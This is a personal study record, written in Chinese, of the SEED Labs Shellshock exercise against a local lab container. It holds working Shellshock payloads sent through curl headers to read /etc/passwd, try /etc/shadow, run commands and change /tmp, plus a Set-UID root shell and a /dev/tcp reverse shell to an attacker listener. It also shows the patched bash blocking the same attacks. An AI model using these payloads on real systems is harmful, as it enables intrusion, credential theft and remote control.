# Seed Lab：Shellshock Attack（Bashdoor）

本文是針對 seedsecuritylabs.org 網站上所提供的題目做的個人練習記錄。

題目來源：https://seedsecuritylabs.org/Labs_20.04/Software/Shellshock/

## Environment Setup

# cmd

cd /etc
sudo vi hosts
[10.9.0.80 www.seedlab-shellshock.com]


將 seedlab-shellshock 網站的 DNS 設定手動添加到 etc 路徑下的 hosts 設定檔案中（需要使用 sudo 權限命令才可編輯該檔案）。電腦在連上特定網站前會先向 hosts 設定檔中查詢是否有對應 網址的 IP，如果查詢失敗才會再連線至 DNS 伺服器，查詢網址所對應的 IP 位址。

## Container Setup and Commands

# cmd

docker-compose build 
docker-compose up


# cmd

docker ps
docker exec
docksh 4b68fe7ea7a2 
docker image list



# cmd

docker-compose down

## Web Server and CGI

### Access Apache Default CGI Folder

# cmd

dockps
docksh <id>
ls /usr/lib/cgi-bin
cat /usr/lib/cgi-bin/vul.cgi


## Use Curl Command

# cmd

curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi


curl [option] [URL…] 可以在 Linux 上通過 HTTP Protocol 來下載和上傳檔案，引數如下：

| Argument | Discription |
|-------------|------------------------------|
| -X/--request | 使用指定的 http method 來發出 request |
| -H/--header | 設定 request 裡所攜帶的 header |
| -i/--include | 在 output 顯示 response 的 header |
| -d/--data | 攜帶 HTTP POST Data |
| -v/--verbose | 輸出更多的訊息方便 debug |
| -u/--user | 攜帶使用者帳號、密碼 |
| -b/--cookie | 攜帶 cookie（參數或是檔案位置） |

## Task 1: Experimenting with Bash Function

### Bash_shellshock Shell

# cmd

sudo cp bash_shellshock /bin/
sudo ln –sf /bin/bash_shellshock /bin/sh
ll /bin/sh


先把有漏洞的 bash 版本 bash_shellshock 檔案複製到 bin 裡面，然後以 bash_shellshock 替換原本的 Debian Almquist Shell。

### Parsing Logic Problem

# cmd

#!/bin/bash_shellshock
foo='() { echo "shellshock vulnerability"; }; /bin/ls;'
echo $foo

export foo
bash_shellshock

declare -f foo


### Set-Uid Attack

// vul.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
setuid( geteuid() );
system( "/bin/ls -l" );
return 0;}

# cmd

#!/bin/bash_shellshock
gcc vul.c -o vul
./vul
sudo chown root vul
sudo chmod +s vul
ll vul
foo='() { echo "shellshock vulnerability"; }; /bin/sh;'
export foo
./vul



# cmd

#!/bin/bash
sudo ln -sf /bin/bash /bin/sh
sudo chown root vul
sudo chmod +s vul
ll vul
foo='() { echo "shellshock vulnerability"; }; /bin/sh;'
export foo
./vul
echo $foo



### Observation & Conclusion

先準備了一個 vul.c 內容是執行 /bin/ls 列出路徑當前所有檔案，在編譯該檔案後以 chown root 以及 chmod +s 命令將它提升權限成為 Set-Uid 程式，我們可以看到提權後 vul 檔案的權限狀態轉變成為 –rwsrwsr-x，接著用 export 命令匯出一個環境變數 foo（在尾端接了額外的惡意程式碼 /bin/sh），緊接著執行 vul 檔案；在有安全性漏洞的 bash_shellshock 版本中，輸出結果是使用者直接獲得了 root 權限，這是因為漏洞 shell 連帶執行了 foo 尾端分號後額外攜帶的 /bin/sh 命令。相對的，在修復過後的 bash 版本當中，這一小段 /bin/sh 程式碼明顯沒有被 shell 所執行。

## Task 2: Passing Data to Bash via Environment Variable

# getenv.cgi

#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ

# container
cat /usr/lib/cgi-bin/getenv.cgi



### Task 2.A Using A Browser

可以看到 Apache Server 上的環境變數 getenv.cgi：
http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi


### Task 2.B Using Curl Command

# cmd

curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi






### Observation & Conclusion

string/proc/$$/environ 命令可以輸出一個程式中所有的環境變數。在我們執行 CGI 的時候，環境變數會傳入 CGI 當中。curl -v 命令可以讓 Apache 將 HTTP request 中的資訊轉換成環境變數傳給 CGI；curl -A 命令可以對 Header request 中 User Agent 區塊更改環境變數 HTTP_USER_AGENT；引數 -e 可以添加 Referer 區塊連結；引數 -H 可以將自定義的 Header 傳送到伺服器。

| curl | --help |
|----|-----------------------------------------------|
| -v | Make the operation more talkative |
| -A | <name> Send User-Agent <name> to server |
| -e | <URL> Referrer URL |
| -H | <header/@file> Pass custom header(s) to server |

當 Server 建立一個子程序執行 Bash 時，會為 Bash 提供環境變數。父程序（Apache）將 USER_AGENT 等等環境變數傳遞給子程序（Bash）。shellshock 會把環境變數轉為自身 shell 變數。Server 建立一個子程序執行CGI程式時，會傳遞該變數以及其他環境變數給CGI程式。

利用 curl -A 命令我們可以控制輸入的環境變數，接著可以發動 Reverse Shellshock 攻擊。

## Task 3: Launching the Shellshock Attack

#cmd

curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -al" -v http://10.9.0.80/cgi-bin/vul.cgi


### Task 3.A Get the Server to Send Back the Content of the /etc/passwd File.

#cmd

curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/passwd" http://10.9.0.80/cgi-bin/vul.cgi


### Task 3.B Get the Server to Tell You Its Process’ User ID.

# cmd

curl -e "() { echo hello;};echo Content_type: text/plain;echo; /bin/id" http://10.9.0.80/cgi-bin/vul.cgi


### Task 3.C Get the Server to Create a Fle Inside the /tmp Folder.

# container

curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi
ls /tmp


# cmd

curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi
curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls –l /tmp" http://10.9.0.80/cgi-bin/vul.cgi


### Task 3.D Get the Server to Delete the File that You Just Created inside /tmp Folder.

# cmd

curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/rm /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi
curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -l /tmp " http://10.9.0.80/cgi-bin/vul.cgi




### Question 1

#cmd

curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/shadow" http://10.9.0.80/cgi-bin/vul.cgi

# container

ll /usr/lib/cgi-bin/vul.cgi
ll /etc/shadow



首先我們用 curl 執行 Shellshock 漏洞命令，我們可以發現雖然 vul.cgi 有權限讀取 /etc/passwd 但是卻沒有權限讀取 linux 中存放使用者密碼的 /etc/shadow 檔案，於是無法通過 vul.cgi 執行程式獲得 shadow 檔案的內文。

# cmd

ps aux | grep apache	


### Observation & Conclusion

Question 1 的部分，shadow 檔案的所有者為 root，所在組別則是 shadow，其他組的使用者沒有許可權限讀取這個檔案，vul.cgi 檔案的所有者為 root，並且所在組別是 root，因此通過 vul.cgi 獲得 bash_shellshock之後執行指令，對於 shadow 檔案而言，vul.cgi 是其他組別使用者，並沒有讀取的許可權限，於是無法通過 vul.cgi 執行程式獲得 shadow 檔案的內容。

另外 ps aux 這個命令可以觀察當前系統所有的程序資料，www-data 是一個給 web servers 使用的特定 system user。設定某資料夾或檔案權限為 www-data 是希望 web servers 不要獲得太高的權限，同時仍然能夠讓 web application 適當寫入。

## Task 4: Getting a Reverse Shell via Shellshock Attack

#cmd

dcup



# cmd

ip addr
nc –l 9090


# cmd 

dockps
docksh <id> 
curl -A "() { echo hello; };echo Content_type: text/plain; echo; echo; /bin/bash -i &> /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi

可以看到攻擊者IP為 10.0.2.15，在攻擊者終端，利用 nc 命令監聽 9090 埠上的 TCP 連線狀態。執行 /bin/bash -i &> /dev/tcp/10.0.2.15/9090 0<&1 2>&1 傳送惡意請求，導致 CGI 程式觸發 Bash shell，Bash shell 會連線到10.0.2.15（攻擊者）的9090埠，攻擊者的 nc 程式接受這個連線後顯示由遠端伺服器的 CGI 所觸發的 Bash 送來的 shell 提示符，代表著 Reverse shell 成功了。執行 id 輸出的遠端 CGI 程式當前使用者 id是 www-data。



## Task 5: Using the Patched Bash

# container

cd /usr/lib/cgi-bin/
ls
nano vul.cgi



重新做一遍 Task 3 的命令：

### Task 5.A Get the Server to Send Back the Content of the /etc/passwd File.

# cmd

curl -A "() { echo hello;};echo Content_type: text/plain;echo; /bin/cat /etc/passwd" http://10.9.0.80/cgi-bin/vul.cgi


### Task 5.B Get the Server to Tell You Its Process’ User ID.

# cmd 

curl -e "() { echo hello;};echo Content_type: text/plain;echo; /bin/id" http://10.9.0.80/cgi-bin/vul.cgi


### Task 5.C Get the Server to Create a Fle Inside the /tmp Folder.

# container

/bin/touch /tmp/virus 
ls /tmp


# cmd

curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/touch /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi
curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls –l /tmp" http://10.9.0.80/cgi-bin/vul.cgi


### Task 5.D Get the Server to Delete the File that You Just Created inside /tmp Folder.

# cmd

curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/rm /tmp/virus" http://10.9.0.80/cgi-bin/vul.cgi
curl -H "ATTACK:() { echo hello;};echo Content_type: text/plain;echo; /bin/ls -l /tmp " http://10.9.0.80/cgi-bin/vul.cgi


### Observation & Conclusion

我們可以發現，跟 Task 3的 Bash_shellshock 版本相比，在無漏洞版本的 Bash 當中，使用了 Bash Shellshock 漏洞語法不管是試圖讀取/etc/shadow 或是試圖讀取 /bin/id 或是試圖創建後移除 docker 上 /tmp 資料夾中的檔案，這些行為都是失敗的，因為當前運行的 Bash 已經修復了 Shellshock（Bashdoor）的安全漏洞。

---

前篇參考：https://withhhsong.com/seedlab_setuid/

---

: : 20211114 : : 與松 withhhsong : :

###### tags: `tutorials` `LectureNote` `seedlab` `shellshock` `bashdoor` `notes` `Linux`